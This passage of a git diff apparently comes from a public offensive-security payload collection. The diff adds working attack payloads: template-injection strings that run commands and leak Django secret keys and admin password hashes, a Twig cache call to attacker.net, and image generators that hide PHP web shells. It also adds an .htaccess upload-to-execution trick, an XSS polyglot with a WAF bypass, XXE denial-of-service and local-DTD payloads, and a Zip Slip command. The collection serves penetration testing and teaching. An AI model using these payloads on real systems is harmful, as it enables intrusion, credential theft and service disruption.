+ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r +``` + +### Django Templates for post-exploitation + +```python +# Variables +{{ variable }} +{{ variable.attr }} + +# Filters +{{ value|length }} + +# Tags +{% csrf_token %} +``` + +### Cross-site scripting + +```python +{{ '' }} +{{ '' | safe }} +``` + +### Debug information leak + +```python +{% debug %} +``` + +### Leaking app’s Secret Key + +```python +{{ messages.storages.0.signer.key }} +``` + +### Admin Site URL leak + + +``` +{% include 'admin/base.html' %} +``` + +### Admin username and password hash leak + + +``` +{% load log %}{% get_admin_log 10 as log %}{% for e in log %} +{{e.user.get_username}} : {{e.user.password}}{% endfor %} +``` + ## Jinja2 [Official website](https://jinja.palletsprojects.com/) @@ -417,15 +497,30 @@ Listen for connection nc -lnvp 8000 ``` +#### Jinja2 - Forcing output on blind RCE + +You can import Flask functions to return an output from the vulnerable page. + +```py +{{ +x.__init__.__builtins__.exec("from flask import current_app, after_this_request +@after_this_request +def hook(*args, **kwargs): + from flask import make_response + r = make_response('Powned') + return r +") +}} +``` + + #### Exploit the SSTI by calling os.popen().read() These payloads are context-free, and do not require anything, except being in a jinja2 Template object: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} - {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} - {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} ``` @@ -433,9 +528,7 @@ We can use these shorter payloads (this is the shorter payloads known yet): ```python {{ cycler.__init__.__globals__.os.popen('id').read() }} - {{ joiner.__init__.__globals__.os.popen('id').read() }} - {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` @@ -829,6 +922,9 @@ $output = $twig > render ( {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{['id']|filter('system')}} +{{[0]|reduce('system','id')}} +{{['id']|map('system')|join}} +{{['id',1]|sort('system')|join}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} ``` @@ -866,6 +962,126 @@ $str.valueOf($chr.toChars($out.read())) --- +## patTemplate + +> [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts + +```xml + + This is the main page. + + It contains another template. + + + Hello {NAME}.
+
+
+``` + +--- + +## PHPlib and HTML_Template_PHPLIB + +[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear. + +`authors.tpl` + +```html + + {PAGE_TITLE} + + + + + + + + + + + + + + +
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
+ + +``` + +`authors.php` + +```php + 'cweiske@php.net', + 'Bjoern Schotte' => 'schotte@mayflower.de' +); + +require_once 'HTML/Template/PHPLIB.php'; +//create template object +$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); +//load file +$t->setFile('authors', 'authors.tpl'); +//set block +$t->setBlock('authors', 'authorline', 'authorline_ref'); + +//set some variables +$t->setVar('NUM_AUTHORS', count($authors)); +$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); + +//display the authors +foreach ($authors as $name => $email) { + $t->setVar('AUTHOR_NAME', $name); + $t->setVar('AUTHOR_EMAIL', $email); + $t->parse('authorline_ref', 'authorline', true); +} + +//finish and echo +echo $t->finish($t->parse('OUT', 'authors')); +?> +``` + +--- + +## Plates + +Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine. + +controller: + +```php +// Create new Plates instance +$templates = new League\Plates\Engine('/path/to/templates'); + +// Render a template +echo $templates->render('profile', ['name' => 'Jonathan']); +``` + +page template: + +```php +layout('template', ['title' => 'User Profile']) ?> + +

User Profile

+

Hello, e($name)?>

+``` + +layout template: + +```php + + + <?=$this->e($title)?> + + + section('content')?> + + +``` + +--- + ## References * [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/) @@ -889,3 +1105,5 @@ $str.valueOf($chr.toChars($out.read())) * [Lab: Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit) * [Exploiting Less.js to Achieve RCE](https://www.softwaresecured.com/exploiting-less-js/) * [A Pentester's Guide to Server Side Template Injection (SSTI)](https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti) +* [Django Templates Server-Side Template Injection](https://lifars.com/wp-content/uploads/2021/06/Django-Templates-Server-Side-Template-Injection-v1.0.pdf) +* [#HITB2022SIN #LAB Template Injection On Hardened Targets - Lucas 'BitK' Philippe](https://youtu.be/M0b_KA0OMFw) \ No newline at end of file diff --git a/Type Juggling/README.md b/Type Juggling/README.md index 41bdb4c..37ebd0a 100644 --- a/Type Juggling/README.md +++ b/Type Juggling/README.md @@ -52,22 +52,22 @@ function validate_cookie($cookie,$key){ ... ``` -The $cookie variable is provided by the user. The $key variable is a secret and unknown to the user. +The `$cookie` variable is provided by the user. The $key variable is a secret and unknown to the user. -If we can make the calculated hash string Zero-like, and provide "0" in the $cookie['hmac'], the check will pass. +If we can make the calculated hash string Zero-like, and provide "0" in the `$cookie['hmac']`, the check will pass. -``` +```ps1 "0e768261251903820937390661668547" == "0" ``` We have control over 3 elements in the cookie: -- $username - username you are targeting, probably "admin" -- $hmac - the provided hash, "0" -- $expiration - a UNIX timestamp, must be in the future +- `$username` - username you are targeting, probably "admin" +- `$hmac` - the provided hash, "0" +- `$expiration` - a UNIX timestamp, must be in the future Increase the expiration timestamp enough times and we will eventually get a Zero-like calculated HMAC. -``` +```ps1 hash_hmac(admin|1424869663) -> "e716865d1953e310498068ee39922f49" hash_hmac(admin|1424869664) -> "8c9a492d316efb5e358ceefe3829bde4" hash_hmac(admin|1424869665) -> "9f7cdbe744fc2dae1202431c7c66334b" @@ -80,8 +80,10 @@ hash_hmac(admin|1835970773) -> "0e174892301580325162390102935332" // "0e17489230 If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP will treat the hash as a float. -| Hash | “Magic” Number / String | Magic Hash | Found By / Description | +| Hash | "Magic" Number / String | Magic Hash | Found By / Description | | ---- | -------------------------- |:---------------------------------------------:| -------------:| +| MD4 | gH0nAdHk | 0e096229559581069251163783434175 | [@spaze](https://github.com/spaze/hashes/blob/master/md4.md) | +| MD4 | IiF+hTai | 00e90130237707355082822449868597 | [@spaze](https://github.com/spaze/hashes/blob/master/md4.md) | | MD5 | 240610708 | 0e462097431906509019562988736854 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) | | MD5 | QNKCDZO | 0e830400451993494058024219903391 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) | | MD5 | 0e1137126905 | 0e291659922323405260514745084877 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) | @@ -106,3 +108,5 @@ var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); * [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html) * [Magic Hashes - WhiteHatSec](https://www.whitehatsec.com/blog/magic-hashes/) * [PHP Magic Tricks: Type Juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) +* [spaze/hashes - Magic hashes – PHP hash "collisions"](https://github.com/spaze/hashes) +* [(Super) Magic Hashes - Mon 07 October 2019 - myst404 (@myst404_)](https://offsec.almond.consulting/super-magic-hash.html) \ No newline at end of file diff --git a/Upload Insecure Files/Configuration Apache .htaccess/.htaccess_rce_files b/Upload Insecure Files/Configuration Apache .htaccess/.htaccess_rce_files new file mode 100644 index 0000000..64b38fb --- /dev/null +++ b/Upload Insecure Files/Configuration Apache .htaccess/.htaccess_rce_files @@ -0,0 +1 @@ +AddType application/x-httpd-php .rce \ No newline at end of file diff --git a/Upload Insecure Files/Configuration Apache .htaccess/README.md b/Upload Insecure Files/Configuration Apache .htaccess/README.md index 30b059d..a340e91 100644 --- a/Upload Insecure Files/Configuration Apache .htaccess/README.md +++ b/Upload Insecure Files/Configuration Apache .htaccess/README.md @@ -25,6 +25,11 @@ AddType application/x-httpd-php .htaccess &1"); ?> ``` +# .htaccess simple php + +Upload an .htaccess with : `AddType application/x-httpd-php .rce` +Then upload any file with `.rce` extension. + # .htaccess upload as image If the `exif_imagetype` function is used on the server side to determine the image type, create a `.htaccess/image` polyglot. diff --git a/Upload Insecure Files/Extension PHP/shell.gif?shell.php b/Upload Insecure Files/Extension PHP/shell.gif^shell.php similarity index 100% rename from Upload Insecure Files/Extension PHP/shell.gif?shell.php rename to Upload Insecure Files/Extension PHP/shell.gif^shell.php diff --git a/Upload Insecure Files/Extension PHP/shell.jpg?shell.php b/Upload Insecure Files/Extension PHP/shell.jpg^shell.php similarity index 100% rename from Upload Insecure Files/Extension PHP/shell.jpg?shell.php rename to Upload Insecure Files/Extension PHP/shell.jpg^shell.php diff --git a/Upload Insecure Files/Extension PHP/shell.png?shell.php b/Upload Insecure Files/Extension PHP/shell.png^shell.php similarity index 100% rename from Upload Insecure Files/Extension PHP/shell.png?shell.php rename to Upload Insecure Files/Extension PHP/shell.png^shell.php diff --git a/Upload Insecure Files/Picture Resize/GIF_exploit.gif b/Upload Insecure Files/Picture Compression/GIF_exploit.gif similarity index 100% rename from Upload Insecure Files/Picture Resize/GIF_exploit.gif rename to Upload Insecure Files/Picture Compression/GIF_exploit.gif diff --git a/Upload Insecure Files/Picture Resize/JPG_exploit-55.jpg b/Upload Insecure Files/Picture Compression/JPG_exploit-55.jpg similarity index 100% rename from Upload Insecure Files/Picture Resize/JPG_exploit-55.jpg rename to Upload Insecure Files/Picture Compression/JPG_exploit-55.jpg diff --git a/Upload Insecure Files/Picture Resize/PNG_110x110_resize_bypass_use_LFI.png b/Upload Insecure Files/Picture Compression/PNG_110x110_resize_bypass_use_LFI.png similarity index 100% rename from Upload Insecure Files/Picture Resize/PNG_110x110_resize_bypass_use_LFI.png rename to Upload Insecure Files/Picture Compression/PNG_110x110_resize_bypass_use_LFI.png diff --git a/Upload Insecure Files/Picture Resize/PNG_32x32_resize_bypass_use_LFI.png b/Upload Insecure Files/Picture Compression/PNG_32x32_resize_bypass_use_LFI.png similarity index 100% rename from Upload Insecure Files/Picture Resize/PNG_32x32_resize_bypass_use_LFI.png rename to Upload Insecure Files/Picture Compression/PNG_32x32_resize_bypass_use_LFI.png diff --git a/Upload Insecure Files/Picture Resize/exploit_JPG.py b/Upload Insecure Files/Picture Compression/createBulletproofJPG.py similarity index 97% rename from Upload Insecure Files/Picture Resize/exploit_JPG.py rename to Upload Insecure Files/Picture Compression/createBulletproofJPG.py index 14b8a09..c3e2bbb 100644 --- a/Upload Insecure Files/Picture Resize/exploit_JPG.py +++ b/Upload Insecure Files/Picture Compression/createBulletproofJPG.py @@ -1,7 +1,6 @@ #!/usr/bin/python """ - Bulletproof Jpegs Generator Copyright (C) 2012 Damien "virtualabs" Cauquil @@ -18,7 +17,11 @@ You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - + + ------------- + # How to use + b.php?c=ls + Source: http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l """ from __future__ import print_function diff --git a/Upload Insecure Files/Picture Resize/exploit_PNG_110x110.php b/Upload Insecure Files/Picture Compression/createCompressedPNG_110x110.php similarity index 100% rename from Upload Insecure Files/Picture Resize/exploit_PNG_110x110.php rename to Upload Insecure Files/Picture Compression/createCompressedPNG_110x110.php diff --git a/Upload Insecure Files/Picture Compression/createGIFwithGlobalColorTable.php b/Upload Insecure Files/Picture Compression/createGIFwithGlobalColorTable.php new file mode 100644 index 0000000..d505461 --- /dev/null +++ b/Upload Insecure Files/Picture Compression/createGIFwithGlobalColorTable.php @@ -0,0 +1,22 @@ +"; +$_width=200; +$_height=200; +if(strlen($_payload)%3!=0){ + echo "payload%3==0 !"; exit(); +} +$im = imagecreate($_width, $_height); +$_hex=unpack('H*',$_payload); + +$colors_hex=str_split($_hex[1], 6); + +for($i=0; $i < count($colors_hex); $i++){ + $_color_chunks=str_split($colors_hex[$i], 2); + $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2])); + imagesetpixel($im,$i,1,$color); +} + +imagegif($im,$_file); +?> \ No newline at end of file diff --git a/Upload Insecure Files/Picture Compression/createPNGwithPLTE.php b/Upload Insecure Files/Picture Compression/createPNGwithPLTE.php new file mode 100644 index 0000000..d5abcb7 --- /dev/null +++ b/Upload Insecure Files/Picture Compression/createPNGwithPLTE.php @@ -0,0 +1,28 @@ + "; +$_pay_len=strlen($_payload); +if(strlen($_payload)%3!=0){ + echo "payload%3==0 !"; exit(); +} + + +$width=$_pay_len/3; +$height=20; +//$im = imageCreateFromPng("existing.png"); +$im = imagecreate($width, $height); + +$_hex=unpack('H*',$_payload); +$_chunks=str_split($_hex[1], 6); + +for($i=0; $i < count($_chunks); $i++){ + + $_color_chunks=str_split($_chunks[$i], 2); + $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2])); + + imagesetpixel($im,$i,1,$color); + +} + +imagepng($im,"example.png"); \ No newline at end of file diff --git a/Upload Insecure Files/Picture Resize/README.txt b/Upload Insecure Files/Picture Resize/README.txt deleted file mode 100644 index 633f383..0000000 --- a/Upload Insecure Files/Picture Resize/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -# How to use -b.php?c=ls - - -Source: http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l \ No newline at end of file diff --git a/Upload Insecure Files/README.md b/Upload Insecure Files/README.md index 3f5bfba..03d57bb 100644 --- a/Upload Insecure Files/README.md +++ b/Upload Insecure Files/README.md @@ -9,7 +9,7 @@ * [Defaults extensions](#defaults-extensions) * [Upload tricks](#upload-tricks) * [Filename vulnerabilities](#filename-vulnerabilities) - * [Picture upload with LFI](#picture-upload-with-lfi) + * [Picture compression](#picture-compression-) * [Configuration Files](#configuration-files) * [CVE - Image Tragik](#cve---image-tragik) * [CVE - FFMpeg](#cve---ffmpeg) @@ -107,12 +107,16 @@ Also you upload: - HTML/SVG files to trigger an XSS - EICAR file to check the presence of an antivirus -### Picture upload with LFI +### Picture Compression -Valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`. +Create valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`. - Picture Metadata, hide the payload inside a comment tag in the metadata. - Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`. + - [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py + - [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php + - [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php + ### Picture with custom metadata @@ -185,7 +189,11 @@ When a ZIP/archive file is automatically decompressed after the upload ### Jetty RCE Upload the XML file to `$JETTY_BASE/webapps/` -* [JettyShell.xml](https://raw.githubusercontent.com/Mike-n1/tips/main/JettyShell.xml) +* [JettyShell.xml - From Mikhail Klyuchnikov](https://raw.githubusercontent.com/Mike-n1/tips/main/JettyShell.xml) + +## Labs + +* [Portswigger Labs on File Uploads](https://portswigger.net/web-security/all-labs#file-upload-vulnerabilities) ## References @@ -198,4 +206,7 @@ Upload the XML file to `$JETTY_BASE/webapps/` * [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0) * [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap) * [Arbitrary File Upload Tricks In Java - pyn3rd](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/) -* [File Upload - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-upload) \ No newline at end of file +* [File Upload - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-upload) +* [Injection points in popular image formats - Daniel Kalinowski‌‌ - Nov 8, 2019](https://blog.isec.pl/injection-points-in-popular-image-formats/) +* [A tip for getting RCE in Jetty apps with just one XML file! - Aug 4, 2022 - PT SWARM / @ptswarm](https://twitter.com/ptswarm/status/1555184661751648256/) +* [Jetty Features for Hacking Web Apps - September 15, 2022 - Mikhail Klyuchnikov](https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/) diff --git a/Upload Insecure Files/Zip Slip/README.md b/Upload Insecure Files/Zip Slip/README.md index 39d647e..75b5dd6 100644 --- a/Upload Insecure Files/Zip Slip/README.md +++ b/Upload Insecure Files/Zip Slip/README.md @@ -4,11 +4,11 @@ ## Summary -- [Detection](#detection) -- [Tools](#tools) +* [Detection](#detection) +* [Tools](#tools) * [Exploits](#exploits) * [Basic Exploit](#basic-exploit) -- [Additional Notes](#additional-notes) +* [Additional Notes](#additional-notes) ## Detection @@ -16,12 +16,14 @@ ## Tools -- evilarc [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) +- [evilarc](https://github.com/ptoomey3/evilarc) +- [slipit](https://github.com/usdAG/slipit) ## Exploits ### Basic Exploit +Using evilarc: ```python python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15 ``` diff --git a/Web Cache Deception/README.md b/Web Cache Deception/README.md index 50b28e5..6918db5 100644 --- a/Web Cache Deception/README.md +++ b/Web Cache Deception/README.md @@ -49,6 +49,9 @@ Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page "> ``` +## Labs + +* [PortSwigger Labs for Web cache deception](https://portswigger.net/web-security/all-labs#web-cache-poisoning) ## References diff --git a/Web Sockets/README.md b/Web Sockets/README.md index ffe7ec0..ea11043 100644 --- a/Web Sockets/README.md +++ b/Web Sockets/README.md @@ -59,6 +59,10 @@ application uses a `Sec-WebSocket-Protocol` header in the handshake request, you have to add this value as a 2nd parameter to the `WebSocket` function call in order to add this header. +## Labs + +* [PortSwigger Labs for Web Sockets](https://portswigger.net/web-security/all-labs#http-request-smuggling) + ## References - [HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019](https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/) diff --git a/XSS Injection/Intruders/XSS_Polyglots.txt b/XSS Injection/Intruders/XSS_Polyglots.txt index 52ede63..8d92c85 100644 --- a/XSS Injection/Intruders/XSS_Polyglots.txt +++ b/XSS Injection/Intruders/XSS_Polyglots.txt @@ -13,3 +13,4 @@ javascript:alert()//-->*/alert()/* javascript://-->*/alert()/* +JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*\74k diff --git a/XSS Injection/README.md b/XSS Injection/README.md index 7f69397..6cb88ea 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -629,6 +629,11 @@ javascript:"/*\"/*`/*' /*<svg/onload='/*-->` ``` +Polyglot XSS - from [brutelogic](https://brutelogic.com.br/blog/building-xss-polyglots/) +```javascript +JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*\74k +``` + ## Filter Bypass and exotic payloads ### Bypass case sensitive @@ -1222,6 +1227,10 @@ anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxld \u003e\u003c\u0068\u0031 onclick=alert('1')\u003e ``` +## Labs + +* [PortSwigger Labs for XSS](https://portswigger.net/web-security/all-labs#cross-site-scripting) + ## References - [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot) diff --git a/XSS Injection/XSS in Angular.md b/XSS Injection/XSS in Angular.md index 629699b..effb406 100644 --- a/XSS Injection/XSS in Angular.md +++ b/XSS Injection/XSS in Angular.md @@ -175,6 +175,12 @@ AngularJS (without `'` single and `"` double quotes and `constructor` string) {{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}} ``` +AngularJS bypass Waf [Imperva] + +```javascript +{{x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\u{6f}mpt(d\\u{6f}cument.d\\u{6f}main)')()}} +``` + ### Blind XSS 1.0.1 - 1.1.5 && > 1.6.0 by Mario Heiderich (Cure53) diff --git a/XXE Injection/README.md b/XXE Injection/README.md index 826cdda..af91358 100644 --- a/XXE Injection/README.md +++ b/XXE Injection/README.md @@ -20,6 +20,8 @@ Syntax: `` - [Exploiting XXE to perform SSRF attacks](#exploiting-xxe-to-perform-SSRF-attacks) - [Exploiting XXE to perform a deny of service](#exploiting-xxe-to-perform-a-deny-of-service) - [Billion Laugh Attack](#billion-laugh-attack) + - [Yaml attack](#yaml-attack) + - [Parameters Laugh attack](#parameters-laugh-attack) - [Error Based XXE](#error-based-xxe) - [Exploiting blind XXE to exfiltrate data out-of-band](#exploiting-blind-xxe-to-exfiltrate-data-out-of-band) - [Blind XXE](#blind-xxe) @@ -228,6 +230,20 @@ h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` +### Parameters Laugh attack + +A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping. + +```xml +"> + %pe_1;"> + %pe_2;"> + %pe_3;"> + %pe_4; +]> + +``` ## Error Based XXE @@ -372,7 +388,18 @@ Assuming payloads such as the previous return a verbose error. You can start poi ]> ``` - +### Cisco WebEx +``` + +Your DTD code +%local_dtd; +``` +### Citrix XenMobile Server +``` + +Your DTD code +%local_dtd; +``` [Other payloads using different DTDs](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md) @@ -591,11 +618,16 @@ we can convert the character encoding to `UTF-16` using [iconv](https://man7.org ```bash cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml ``` +UTF-7 encoding can be used as well to bypass UTF-8/UTF-16 rules. +## Labs + +* [PortSwigger Labs for XXE](https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection) ## References * [XML External Entity (XXE) Processing - OWASP](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) +* [XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) * [Detecting and exploiting XXE in SAML Interfaces](http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html) - 6. Nov. 2014 - Von Christian Mainka * [[Gist] staaldraad - XXE payloads](https://gist.github.com/staaldraad/01415b990939494879b4) * [[Gist] mgeeky - XML attacks](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870) @@ -616,3 +648,6 @@ cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml * [Midnight Sun CTF 2019 Quals - Rubenscube](https://jbz.team/midnightsunctfquals2019/Rubenscube) * [SynAck - A Deep Dive into XXE Injection](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/) - 22 July 2019 - Trenton Gordon * [Synacktiv - CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server](https://www.synacktiv.com/ressources/advisories/TIBCO_JasperReports_Server_XXE.pdf) - 11-03-2019 - Julien SZLAMOWICZ, Sebastien DUDEK +* [XXE: How to become a Jedi](https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yarbabin_XXE_Jedi_Babin.pdf) - Zeronights 2017 - Yaroslav Babin +* [Payloads for Cisco and Citrix - Arseniy Sharoglazov](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) + diff --git a/BOOKS.md b/_LEARNING_AND_SOCIALS/BOOKS.md similarity index 100% rename from BOOKS.md rename to _LEARNING_AND_SOCIALS/BOOKS.md diff --git a/TWITTER.md b/_LEARNING_AND_SOCIALS/TWITTER.md similarity index 100% rename from TWITTER.md rename to _LEARNING_AND_SOCIALS/TWITTER.md diff --git a/YOUTUBE.md b/_LEARNING_AND_SOCIALS/YOUTUBE.md similarity index 87% rename from YOUTUBE.md rename to _LEARNING_AND_SOCIALS/YOUTUBE.md index 1b5b6f9..853f44c 100644 --- a/YOUTUBE.md +++ b/_LEARNING_AND_SOCIALS/YOUTUBE.md @@ -11,7 +11,6 @@ - [OJ Reeves](https://www.youtube.com/channel/UCz2aqRQWMhJ4wcJq3XneqRg) - [Hacksplained - A Beginner Friendly Guide to Hacking](https://www.youtube.com/c/hacksplained) - [STÖK](https://www.youtube.com/c/STOKfredrik) -- [Defcon](https://www.youtube.com/user/DEFCONConference) - [Hackersploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) - [The Cyber Mentor](https://www.youtube.com/channel/UC0ArlFuFYMpEewyRBzdLHiw) - [Nahamsec](https://www.youtube.com/c/Nahamsec) @@ -26,4 +25,7 @@ - [BSidesSF 101 The Tales of a Bug Bounty Hunter - Arne Swinnen](https://www.youtube.com/watch?v=dsekKYNLBbc) - [Security Fest 2016 The Secret life of a Bug Bounty Hunter - Frans Rosén](https://www.youtube.com/watch?v=KDo68Laayh8) - [The Conscience of a Hacker](https://www.youtube.com/watch?v=0tEnnvZbYek) -- [Defcon 2020 Talks](https://www.youtube.com/user/DEFCONConference/videos) +- [Defcon Conference](https://www.youtube.com/user/DEFCONConference/videos) +- [x33fcon Conference](https://www.youtube.com/c/x33fcon) +- [Hack In Paris](https://www.youtube.com/user/hackinparis) +- [LeHack / HZV](https://www.youtube.com/user/hzvprod) \ No newline at end of file